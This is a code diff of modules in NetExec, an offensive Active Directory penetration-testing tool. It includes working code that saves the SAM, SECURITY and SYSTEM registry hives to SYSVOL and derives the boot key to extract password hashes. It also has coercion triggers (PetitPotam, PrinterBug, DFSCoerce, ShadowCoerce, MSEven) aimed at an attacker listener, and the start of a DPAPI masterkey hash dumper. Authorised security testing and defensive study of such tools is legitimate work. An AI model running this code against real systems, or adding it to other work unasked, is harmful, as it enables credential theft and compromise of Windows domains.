"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
return self.load_module_file(module_path).NXCModule()
|
||||
module = self.load_module_file(module_path).NXCModule()
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
@@ -131,28 +132,8 @@ class ModuleLoader:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
|
||||
def get_module_info_static(self, module_path):
|
||||
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
|
||||
try:
|
||||
with open(module_path, "rb") as f:
|
||||
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
|
||||
|
||||
# ast can't see what a base class or a decorator adds, so these modules are imported
|
||||
if not module_class.bases and not module_class.decorator_list:
|
||||
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
|
||||
module = SimpleNamespace(
|
||||
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
|
||||
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
|
||||
category=CATEGORY[values["category"].attr],
|
||||
)
|
||||
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
|
||||
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not read {module_path} statically: {e}")
|
||||
return self.get_module_info(module_path)
|
||||
|
||||
def list_modules(self, names=None):
|
||||
"""List modules without initializing them, only the ones in names if given"""
|
||||
def list_modules(self):
|
||||
"""List modules without initializing them"""
|
||||
modules = {}
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
@@ -161,11 +142,10 @@ class ModuleLoader:
|
||||
|
||||
for path in modules_paths:
|
||||
for module in listdir(path):
|
||||
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
|
||||
if module[-3:] == ".py" and module != "example_module.py":
|
||||
try:
|
||||
module_path = path_join(path, module)
|
||||
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
|
||||
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
|
||||
module_data = self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error loading module {module}: {e}")
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
import contextlib
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
@@ -24,61 +23,10 @@ class NXCModule:
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
self.system_hive_saved = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def get_boot_key(self, context, dce):
|
||||
"""
|
||||
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
|
||||
using the already-connected `dce` this module sets up for the SAM/SECURITY
|
||||
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
|
||||
downloaded at all.
|
||||
|
||||
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
|
||||
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
|
||||
RemoteRegistry service via the Service Control Manager -- which needs admin-level
|
||||
rights a plain Backup Operator doesn't have. This module already gets
|
||||
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
|
||||
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
|
||||
that connection here.
|
||||
|
||||
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
|
||||
so the caller can fall back to the full SYSTEM hive save/download path.
|
||||
"""
|
||||
boot_key = b""
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
for key in ["JD", "Skew1", "GBG", "Data"]:
|
||||
context.log.debug(f"Retrieving class info for Lsa\\{key}")
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
dce,
|
||||
reg_handle,
|
||||
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
|
||||
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
|
||||
samDesired=rrp.KEY_READ,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
|
||||
class_out = ans["lpClassOut"]
|
||||
if isinstance(class_out, str):
|
||||
class_out = class_out.encode()
|
||||
boot_key += class_out[:-1]
|
||||
rrp.hBaseRegCloseKey(dce, key_handle)
|
||||
|
||||
rrp.hBaseRegCloseKey(dce, reg_handle)
|
||||
|
||||
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
|
||||
boot_key = unhexlify(boot_key)
|
||||
|
||||
final_boot_key = b""
|
||||
for i in range(len(boot_key)):
|
||||
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
|
||||
|
||||
return final_boot_key
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
@@ -88,11 +36,8 @@ class NXCModule:
|
||||
connection.trigger_winreg()
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
boot_key = None
|
||||
try:
|
||||
# Large hives can take minutes to save before the RPC call returns.
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
@@ -103,44 +48,17 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Attempting to retrieve boot key live from the remote registry...")
|
||||
boot_key = self.get_boot_key(context, dce)
|
||||
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
|
||||
boot_key = None
|
||||
|
||||
if boot_key is None:
|
||||
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
|
||||
self.system_hive_saved = True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
hives_to_download = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives_to_download.append("SYSTEM")
|
||||
for hive in hives_to_download:
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
@@ -166,10 +84,8 @@ class NXCModule:
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
if boot_key is None:
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
@@ -221,9 +137,7 @@ class NXCModule:
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives.append("SYSTEM")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
@@ -280,10 +194,7 @@ class NXCModule:
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
|
||||
if self.system_hive_saved:
|
||||
paths += f", SYSTEM_{rand_suffix}"
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
+141
-116
@@ -1,116 +1,141 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
@@ -2,14 +2,12 @@
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -36,7 +34,7 @@ class NXCModule:
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = join(NXC_PATH, "modules", "certipy-find")
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
@@ -121,9 +119,9 @@ class NXCModule:
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
if self.json:
|
||||
with open(join(self.output_path, f"{filename}.json"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
@@ -133,10 +131,10 @@ class NXCModule:
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
f.write(template_output)
|
||||
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -89,7 +89,7 @@ class NXCModule:
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
|
||||
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
|
||||
context.log.warning("Password must be changed. Trying with null session.")
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
|
||||
elif "STATUS_LOGON_FAILURE" in str(e):
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
@@ -48,13 +47,14 @@ class NXCModule:
|
||||
"""DFSCOERCE START"""
|
||||
try:
|
||||
dfscocerceclass = DFSCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dfscocerceconnect = dfscocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -78,13 +78,14 @@ class NXCModule:
|
||||
""" ShadowCoerce START """
|
||||
try:
|
||||
shadowcocerceclass = ShadowCoerceTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
shadowcocerceconnect = shadowcocerceclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -112,13 +113,14 @@ class NXCModule:
|
||||
context.log.debug(f"Trying to connect to {pipe} pipe")
|
||||
try:
|
||||
petitpotamclass = PetitPotamtTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
petitpotamconnect = petitpotamclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -148,13 +150,14 @@ class NXCModule:
|
||||
for pipe in pipes:
|
||||
try:
|
||||
printerbugclass = PrinterBugTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
printerbugconnect = printerbugclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
@@ -165,7 +168,7 @@ class NXCModule:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
context.log.highlight("VULNERABLE, PrinterBug")
|
||||
if self.listener is not None: # exploit
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
|
||||
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
||||
if not self.always_continue and exploit_status:
|
||||
break
|
||||
printerbugconnect.disconnect()
|
||||
@@ -180,13 +183,14 @@ class NXCModule:
|
||||
""" MSEVEN START """
|
||||
try:
|
||||
msevenclass = MSEvenTrigger(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
msevenconnect = msevenclass.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.remoteName,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
|
||||
@@ -1,12 +1,15 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -16,11 +19,33 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
